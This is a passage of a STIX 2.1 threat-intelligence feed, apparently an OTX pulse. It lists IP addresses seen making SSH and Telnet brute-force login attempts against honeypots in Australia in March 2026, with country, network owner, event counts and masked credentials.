      "created": "2026-03-21T12:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 135687. Organisation(s): Qwistel Network Service Private Limited.",
      "id": "indicator--898dea92-914f-4ca5-a89f-c1b9fa60e22b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T12:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.176.16.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T12:15:15.000Z",
      "valid_until": "2026-04-22T12:15:12.000Z"
    },
    {
      "created": "2026-03-21T12:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 294. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, m*****r, 1****6, ***. Passwords observed (masked): 1****6, 1**4, 0********1, 1****1, 1***5.",
      "id": "indicator--e6c3fe01-8368-4afc-b2e4-c0028f88dfe0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T12:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.110.218.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T12:15:15.000Z",
      "valid_until": "2026-04-22T12:15:12.000Z"
    },
    {
      "created": "2026-03-21T12:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 516. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, t**t, u**r, ***. Passwords observed (masked): a***n, p******d, 1**4, 1***5, a****3.",
      "id": "indicator--3e5ede41-a071-4c8f-a2af-fea37d8c253c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T12:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.231.177.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T12:15:15.000Z",
      "valid_until": "2026-04-22T12:15:12.000Z"
    },
    {
      "created": "2026-03-21T12:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 192. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, 1**4, a**o, ***. Passwords observed (masked): a***n, 1**4, 1****6, 3******t, O************Z.",
      "id": "indicator--1d6ede18-4a36-4095-8434-67760051c8cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T12:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.231.177.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T12:15:15.000Z",
      "valid_until": "2026-04-22T12:15:12.000Z"
    },
    {
      "created": "2026-03-21T13:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--92c388ce-22d1-4a91-9647-738104ab6ea8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.18.14.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T13:15:15.000Z",
      "valid_until": "2026-04-22T13:15:11.000Z"
    },
    {
      "created": "2026-03-21T13:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--d9931e12-0336-4d18-9234-343313752c34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.37.18.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T13:15:15.000Z",
      "valid_until": "2026-04-22T13:15:11.000Z"
    },
    {
      "created": "2026-03-21T14:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f1be664c-f209-475d-a5c7-106ecf9204e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T14:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '180.108.64.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T14:15:20.000Z",
      "valid_until": "2026-04-22T14:15:12.000Z"
    },
    {
      "created": "2026-03-21T14:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 203296. Organisation(s): Kristillinen Media Oy. Usernames observed (masked): 3**********4, ***, m****r, ***, b***n. Passwords observed (masked): 1******8, 3***********4, 3**********4, J********3, M*******3.",
      "id": "indicator--af7d6e3f-5e6c-4547-b3cd-784ea089c323",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T14:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.139.168.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T14:15:20.000Z",
      "valid_until": "2026-04-22T14:15:12.000Z"
    },
    {
      "created": "2026-03-21T14:15:20.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--ae4437c8-e3d9-4a0a-9f01-a35bd375ee79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T14:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.39.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T14:15:20.000Z",
      "valid_until": "2026-04-22T14:15:12.000Z"
    },
    {
      "created": "2026-03-21T14:15:20.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--d1ecc734-6e5d-45c7-af21-4c9ef521712e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T14:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T14:15:20.000Z",
      "valid_until": "2026-04-22T14:15:12.000Z"
    },
    {
      "created": "2026-03-21T14:15:20.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--94ffdcb5-1f89-46a6-a13e-923c4761db50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T14:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T14:15:20.000Z",
      "valid_until": "2026-04-22T14:15:12.000Z"
    },
    {
      "created": "2026-03-21T14:15:20.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--2654d5f2-1c5c-40e0-af47-7cba998fd0ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T14:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T14:15:20.000Z",
      "valid_until": "2026-04-22T14:15:12.000Z"
    },
    {
      "created": "2026-03-21T14:15:20.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--1061bfb0-3236-4ad5-a766-551907b67ee6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T14:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T14:15:20.000Z",
      "valid_until": "2026-04-22T14:15:12.000Z"
    },
    {
      "created": "2026-03-21T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): a*****r, 3**********4, ***, b****n, ***. Passwords observed (masked): 1***5, 1****6, 3***********4, 3**********4, B********!.",
      "id": "indicator--5f504660-96c8-484e-8e4f-342bd62e1203",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.143.238.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T15:15:14.000Z",
      "valid_until": "2026-04-22T15:15:11.000Z"
    },
    {
      "created": "2026-03-21T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 166. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): 3**********4, ***, t********h, s***a, u****u. Passwords observed (masked): 3***********4, 3**********4, ***, 1***5, 1******8.",
      "id": "indicator--b064f98e-d90b-4713-86c8-8a788d23a4a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.176.79.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T15:15:14.000Z",
      "valid_until": "2026-04-22T15:15:11.000Z"
    },
    {
      "created": "2026-03-21T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 184. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 152001. Organisation(s): PT Komunikasi Profesional Indonesia. Usernames observed (masked): 3**********4, b****e, p******s, k***n, k**e. Passwords observed (masked): 3***********4, 3**********4, 1***5, 1******8, 1******Z.",
      "id": "indicator--fd064b1f-271c-4fc1-a147-7bbee2ffd23b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.67.80.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T15:15:14.000Z",
      "valid_until": "2026-04-22T15:15:11.000Z"
    },
    {
      "created": "2026-03-21T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--6cf14b04-8e5d-47bb-85fe-d09b85c0fec5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '107.172.235.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T15:15:14.000Z",
      "valid_until": "2026-04-22T15:15:11.000Z"
    },
    {
      "created": "2026-03-21T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--ab68addc-332d-47d4-bd34-11dfdd1d6fea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.0.0.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T15:15:14.000Z",
      "valid_until": "2026-04-22T15:15:11.000Z"
    },
    {
      "created": "2026-03-21T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--71a33d9a-ea64-4c76-94f0-c7f09a27c746",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T15:15:14.000Z",
      "valid_until": "2026-04-22T15:15:11.000Z"
    },
    {
      "created": "2026-03-21T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 577. Organisation(s): Bell Canada.",
      "id": "indicator--90e44f12-febe-4072-a74a-192320237b2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '50.100.55.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T15:15:14.000Z",
      "valid_until": "2026-04-22T15:15:11.000Z"
    },
    {
      "created": "2026-03-21T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--34962308-3232-42ef-b1c1-ac209afb83df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '68.183.217.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T15:15:14.000Z",
      "valid_until": "2026-04-22T15:15:11.000Z"
    },
    {
      "created": "2026-03-21T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 12479. Organisation(s): Orange Espagne SA. Usernames observed (masked): 3**********4, b****e, p******s, j*****s, k***n. Passwords observed (masked): 3***********4, 3**********4, p******d, ***, 1***5.",
      "id": "indicator--55774c0d-108b-48cf-b09a-b9f727493481",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '92.191.96.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T15:15:14.000Z",
      "valid_until": "2026-04-22T15:15:11.000Z"
    },
    {
      "created": "2026-03-21T16:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited.",
      "id": "indicator--f519652b-5ac6-4885-9954-ae576f6d1394",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T16:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '1.15.51.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T16:15:17.000Z",
      "valid_until": "2026-04-22T16:15:12.000Z"
    },
    {
      "created": "2026-03-21T16:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--93335f29-35c5-47d4-a5bd-26457c2dfea8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T16:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T16:15:17.000Z",
      "valid_until": "2026-04-22T16:15:12.000Z"
    },
    {
      "created": "2026-03-21T16:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): g***t, n****l. Passwords observed (masked): 1**4, n*******3.",
      "id": "indicator--bb4bd878-ca32-4115-8a3b-171af41c82fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T16:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '222.98.122.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T16:15:17.000Z",
      "valid_until": "2026-04-22T16:15:12.000Z"
    },
    {
      "created": "2026-03-21T16:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): f*****y, 3**********4, n*******m, o****e, s******r. Passwords observed (masked): ***, 1****6, 1******8, 3***********4, 3**********4.",
      "id": "indicator--b2eb796f-5fcf-4c51-a52c-52cf5a943f31",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T16:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '87.106.44.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T16:15:17.000Z",
      "valid_until": "2026-04-22T16:15:12.000Z"
    },
    {
      "created": "2026-03-21T17:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 151863. Organisation(s): PSG JOINT STOCK COMPANY. Usernames observed (masked): r**t. Passwords observed (masked): a***n.",
      "id": "indicator--f09fcaf6-4c84-4f13-acd0-68c238128a9d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T17:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.253.21.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T17:15:07.000Z",
      "valid_until": "2026-04-22T17:15:05.000Z"
    },
    {
      "created": "2026-03-21T17:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--de43aa8d-ba3a-4185-8e79-511893d35f9d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T17:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.245.141.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T17:15:07.000Z",
      "valid_until": "2026-04-22T17:15:05.000Z"
    },
    {
      "created": "2026-03-21T17:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--1b393b96-7368-450a-bd4b-1f2a5ec14603",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T17:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.228.119.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T17:15:07.000Z",
      "valid_until": "2026-04-22T17:15:05.000Z"
    },
    {
      "created": "2026-03-21T17:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 7506. Organisation(s): GMO Internet Group, Inc.. Usernames observed (masked): ***, f***x, ***. Passwords observed (masked): b****3, f******3, k*****s.",
      "id": "indicator--ac94396d-a003-4135-a412-66516ebf546a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T17:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '160.251.101.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T17:15:07.000Z",
      "valid_until": "2026-04-22T17:15:05.000Z"
    },
    {
      "created": "2026-03-21T17:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--3d50841d-b9ca-4124-8977-daef1ea7cc14",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T17:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T17:15:07.000Z",
      "valid_until": "2026-04-22T17:15:05.000Z"
    },
    {
      "created": "2026-03-21T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 140191. Organisation(s): Vande Mahamaya Cable Network. Usernames observed (masked): d**a. Passwords observed (masked): d******4.",
      "id": "indicator--95255191-f035-49a1-9e88-34d0ed6fdae7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.156.204.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T18:15:14.000Z",
      "valid_until": "2026-04-22T18:15:11.000Z"
    },
    {
      "created": "2026-03-21T18:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 4515. Organisation(s): PCCW IMS Ltd PCCW Business Internet Access.",
      "id": "indicator--7503ca12-c625-49e8-9906-c1459b7fbcde",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '202.85.46.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T18:15:14.000Z",
      "valid_until": "2026-04-22T18:15:11.000Z"
    },
    {
      "created": "2026-03-21T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--70e2ecb9-32e3-4df5-8e6a-f16a8886e97f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.178.76.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T18:15:14.000Z",
      "valid_until": "2026-04-22T18:15:11.000Z"
    },
    {
      "created": "2026-03-21T19:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--a52d7880-393c-41ec-88b2-c5cf9a71cd10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.255.105.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T19:15:05.000Z",
      "valid_until": "2026-04-22T19:15:03.000Z"
    },
    {
      "created": "2026-03-21T19:15:05.000Z",
